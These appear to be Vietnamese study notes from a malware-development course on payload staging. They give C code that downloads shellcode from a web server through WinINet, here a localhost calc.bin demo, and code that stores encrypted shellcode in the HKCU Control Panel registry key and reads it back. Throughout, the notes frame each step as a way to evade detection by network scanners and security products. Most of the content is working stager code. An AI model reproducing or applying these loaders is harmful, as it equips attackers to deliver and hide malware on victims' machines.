Web Server
Đôi khi do các giới hạn về kích thước mà chúng ta không thể lưu shellcode trực tiếp ở trong file nhị phân mà chỉ có thể lấy nó từ một web server.
Để lấy shellcode từ web server, ta sẽ dùng các hàm sau của Windows Internet APIs (WinINet
):
InternetOpenW
- mở một internet session handle để sử dụng các hàm khác củaWinINet
.InternetOpenUrlW
- mở một handle đến tài nguyên được chỉ định ở trong URL.InternetReadFile
- đọc dữ liệu của một tài nguyên web từ một handle được mở bởi InternetOpenUrlWInternetCloseHandle
- đóng handle.InternetSetOptionW
- thiết lập một internet option.
Opening An Internet Session
Ta sẽ sử dụng hàm InternetOpenW
để mở một internet session handle giúp khởi tạo việc sử dụng các hàm khác của WinINet
. Nguyên mẫu hàm:
HINTERNET InternetOpenW(
[in] LPCWSTR lpszAgent, // NULL
[in] DWORD dwAccessType, // NULL or INTERNET_OPEN_TYPE_PRECONFIG
[in] LPCWSTR lpszProxy, // NULL
[in] LPCWSTR lpszProxyBypass, // NULL
[in] DWORD dwFlags // NULL
);
Tất cả các đối số truyền vào InternetOpenW
đều là NULL
do đa phần chúng liên quan đến proxy. Ngoài ra, việc truyền NULL
vào tham số thứ 2 đồng nghĩa với việc sử dụng cờ INTERNET_OPEN_TYPE_PRECONFIG
, giúp chỉ định rằng chúng ta sẽ sử dụng cấu hình hiện tại của hệ thống để xác định thiết lập proxy cho việc kết nối mạng.
// Opening an internet session handle
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
Opening a Handle To Payload
Kế đến, sử dụng hàm InternetOpenUrlW
để thiết lập một kết nối đến URL của shellcode. Nguyên mẫu hàm:
HINTERNET InternetOpenUrlW(
[in] HINTERNET hInternet, // Handle opened by InternetOpenW
[in] LPCWSTR lpszUrl, // The payload's URL
[in] LPCWSTR lpszHeaders, // NULL
[in] DWORD dwHeadersLength, // NULL
[in] DWORD dwFlags, // INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
[in] DWORD_PTR dwContext // NULL
);
Các đối số được truyền vào như sau:
// Opening a handle to the payload's URL
hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
Với đối số thứ 5 là INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
dùng để đảm bảo HTTP request có tỷ lệ thành công cao hơn trong trường hợp có lỗi ở phía web server.
Seealso
Reading Data
Để đọc shellcode, ta sẽ sử dụng hàm InternetReadFile
có nguyên mẫu như sau:
BOOL InternetReadFile(
[in] HINTERNET hFile, // Handle opened by InternetOpenUrlW
[out] LPVOID lpBuffer, // Buffer to store the payload
[in] DWORD dwNumberOfBytesToRead, // The number of bytes to read
[out] LPDWORD lpdwNumberOfBytesRead // Pointer to a variable that receives the number of bytes read
);
Trước khi gọi hàm, ta cần cấp phát vùng nhớ để chứa shellcode và ta sẽ sử dụng hàm LocalAlloc
để làm việc đó:
pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)
Với 272
là kích thước đã biết trước của shellcode.
Closing InternetHandle
Để đóng các handle sau khi shellcode đã được lấy về thành công, ta sẽ sử dụng hàm InternetCloseHandle
có nguyên mẫu như sau:
BOOL InternetCloseHandle(
[in] HINTERNET hInternet // Handle opened by InternetOpenW & InternetOpenUrlW
);
Closing HTTP/S Connections
Hàm InternetCloseHandle
của Windows API không đóng các kết nối HTTPS bởi vì nó muốn tái sử dụng các kết nối. Việc đóng kết nối là cần thiết để tránh bị phát hiện. Để giải quyết vấn đề này, ta cần sử dụng hàm InternetSetOptionW
có nguyên mẫu như sau:
BOOL InternetSetOptionW(
[in] HINTERNET hInternet, // NULL
[in] DWORD dwOption, // INTERNET_OPTION_SETTINGS_CHANGED
[in] LPVOID lpBuffer, // NULL
[in] DWORD dwBufferLength // 0
);
Việc gọi hàm InternetSetOptionW
với tùy chọn INTERNET_OPTION_SETTINGS_CHANGED
sẽ khiến cho hệ thống cập nhật cấu hình internet đã được lưu ở trong bộ nhớ đệm và dẫn đến việc các kết nối được tạo ra cũng sẽ bị đóng.
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
Dynamic Payload Size Allocation
Khi kích thước payload là không cố định, ta cần sử dụng InternetReadFile
ở trong một vòng lặp và đọc một lượng byte cố định chẳng hạn như 1024-byte. Các byte này sẽ được lưu ở trong một vùng nhớ tạm cũng có kích thước là 1024-byte (pTmpBytes
).
// ...
PBYTE pBytes = NULL,
pTmpBytes = NULL;
DWORD dwBytesRead = NULL;
SIZE_T sSize = NULL; // Used as the total payload size
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL){
bSTATE = FALSE; goto _EndOfFunction;
}
while (TRUE){
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
return FALSE;
}
sSize += dwBytesRead;
// In case the total buffer is not allocated yet
// then allocate it equal to the size of the bytes read since it may be less than 1024 bytes
if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
// Otherwise, reallocate the pBytes to equal to the total size, sSize.
// This is required in order to fit the whole payload
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pBytes == NULL) {
return FALSE;
}
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
memset(pTmpBytes, '\0', dwBytesRead);
if (dwBytesRead < 1024){
break;
}
}
// Clean up
InternetCloseHandle(hInternet);
InternetCloseHandle(hInternetFile);
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
LocalFree(pTmpBytes);
LocalFree(pBytes);
Giá trị của pTmpBytes
sẽ được sao chép vào sau một vùng nhớ tổng (pBytes
) mà sẽ liên tục được tái cấp phát bằng hàm LocalReAlloc
. Một khi InternetReadFile
đọc được một lượng byte nhỏ hơn 1024, ta sẽ kết thúc vòng lặp.
Important
Trong thực tế, ta nên che giấu hoặc mã hóa shellcode ở trên web server kể cả khi nó được lấy về trong lúc chạy nhằm né tránh cách công cụ quét mạng.
Windows Registry
Chúng ta cũng có thể lưu shellcode vào registry nhằm né tránh sự phát hiện của các security solution. Cụ thể hơn, ta sẽ hiện thực 2 phần:
- Mã hóa và ghi shellcode vào registry key.
- Đọc registry key và giải mã shellcode.
Ngoài ra, ta cũng sẽ làm quen với khái niệm Conditional Compilation.
Seealso
Về việc mã hóa hoặc giải mã, tham khảo MalDev - Payload Encryption.
Conditional Compilation
Là một cách để chỉ định cho trình biên dịch biết được rằng phần code nào sẽ được biên dịch và phần nào không bằng cách sử dụng #ifdef
và #endif
. Chúng ta sẽ sử dụng kỹ thuật này để biên dịch 2 chương trình khác nhau sử dụng cùng 1 mã nguồn.
Ví dụ:
#define WRITEMODE
// Code that will be compiled in both cases
// if 'WRITEMODE' is defined
#ifdef WRITEMODE
// The code that will be compiled
// Code that's needed to write the payload to the Registry
#endif
// if 'READMODE' is defined
#ifdef READMODE
// Code that will NOT be compiled
#endif
Như vậy, để biên dịch chương trình nhằm ghi registry, ta sẽ thay đổi giá trị #define
thành WRITEMODE
. Ngược lại, ta sẽ sử dụng READMODE
.
Writing To The Registry
Chúng ta sẽ xây dựng hàm WriteShellcodeToRegistry
có 2 tham số:
pShellcode
: shellcode cần ghi vào registrydwShellcodeSize
: kích thước của shellcode
REGISTRY & REGSTRING
Trước tiên, ta sẽ định nghĩa 2 giá trị:
-
REGISTRY = "Control Panel"
: đường dẫn đến registry key của Control Panel, có giá trị đầy đủ làComputer\HKEY_CURRENT_USER\Control Panel
. -
REGSTRING = "MalDevAcademy"
: là tên của giá trị mà ta sẽ tạo ra để lưu shellcode.
// Registry key to read / write
#define REGISTRY "Control Panel"
#define REGSTRING "MalDevAcademy"
Opening a Handle To The Registry Key
Sử dụng hàm RegOpenKeyExA
để mở handle đến registry key. Nguyên mẫu hàm:
LSTATUS RegOpenKeyExA(
[in] HKEY hKey, // A handle to an open registry key
[in, optional] LPCSTR lpSubKey, // The name of the registry subkey to be opened (REGISTRY constant)
[in] DWORD ulOptions, // Specifies the option to apply when opening the key - Set to 0
[in] REGSAM samDesired, // Access Rights
[out] PHKEY phkResult // A pointer to a variable that receives a handle to the opened key
);
Do cần thay đổi giá trị của registry key, đối số truyền vào tham số thứ tư mà ta sử dụng là cờ KEY_SET_VALUE
:
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
Seealso
Setting Registry Value
Sau đó, sử dụng hàm RegSetValueExA
để tạo một giá trị mới ở trong registry key mà ta vừa mở handle.
Nguyên mẫu hàm:
LSTATUS RegSetValueExA(
[in] HKEY hKey, // A handle to an open registry key
[in, optional] LPCSTR lpValueName, // The name of the value to be set (REGSTRING constant)
DWORD Reserved, // Set to 0
[in] DWORD dwType, // The type of data pointed to by the lpData parameter
[in] const BYTE *lpData, // The data to be stored
[in] DWORD cbData // The size of the information pointed to by the lpData parameter, in bytes
);
Loại dữ liệu mà ta sử dụng là REG_BINARY
do payload là một chuỗi các byte:
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
Seealso
Closing Registry Key Handle
Cuối cùng, đóng handlle sử dụng hàm RegCloseKey
có nguyên mẫu như sau:
LSTATUS RegCloseKey(
[in] HKEY hKey // Handle to an open registry key to be closed
);
Reading The Registry
Chúng ta sẽ xây dựng hàm ReadShellcodeFromRegistry
để đọc registry và giải mã shellcode dựa trên hàm giải mã được cung cấp bởi HellShell. Hàm này có 2 tham số:
sPayloadSize
: kích thước payload mà ta sẽ đọc.ppPayload
: buffer dùng để chứa payload.
Heap Allocation
Trước tiên, ta sẽ cấp phát vùng nhớ để chứa payload đọc từ registry với kích thước là sPayloadSize
:
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
Read Registry Value
Sau đó, sử dụng hàm RegGetValueA
để đọc registry value có chứa shellcode đã bị mã hóa. Hàm này có nguyên mẫu như sau:
LSTATUS RegGetValueA(
[in] HKEY hkey, // A handle to an open registry key
[in, optional] LPCSTR lpSubKey, // The path of a registry key relative to the key specified by the hkey parameter
[in, optional] LPCSTR lpValue, // The name of the registry value.
[in, optional] DWORD dwFlags, // The flags that restrict the data type of value to be queried
[out, optional] LPDWORD pdwType, // A pointer to a variable that receives a code indicating the type of data stored in the specified value
[out, optional] PVOID pvData, // A pointer to a buffer that receives the value's data
[in, out, optional] LPDWORD pcbData // A pointer to a variable that specifies the size of the buffer pointed to by the pvData parameter, in bytes
);
Important
Khi đọc dữ liệu với
RegGetValueA
, ta không thể đọc dữ liệu theo từng khúc mà chỉ có thể đọc hết 1 lần. Do đó, việc biết trước kích thước cần đọc rất quan trọng.
Tham số thứ 4 được sử dụng để giới hạn kiểu dữ liệu nhưng ta có thể dùng RRF_RT_ANY
, đồng nghĩa với bất kỳ dữ liệu nào. Ngoài ra, ta cũng có thể dùng RRF_RT_REG_BINARY
vì shellcode của chúng ta được lưu ở dạng nhị phân.
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
Related
list
from outgoing([[MalDev - Payload Staging]])
sort file.ctime asc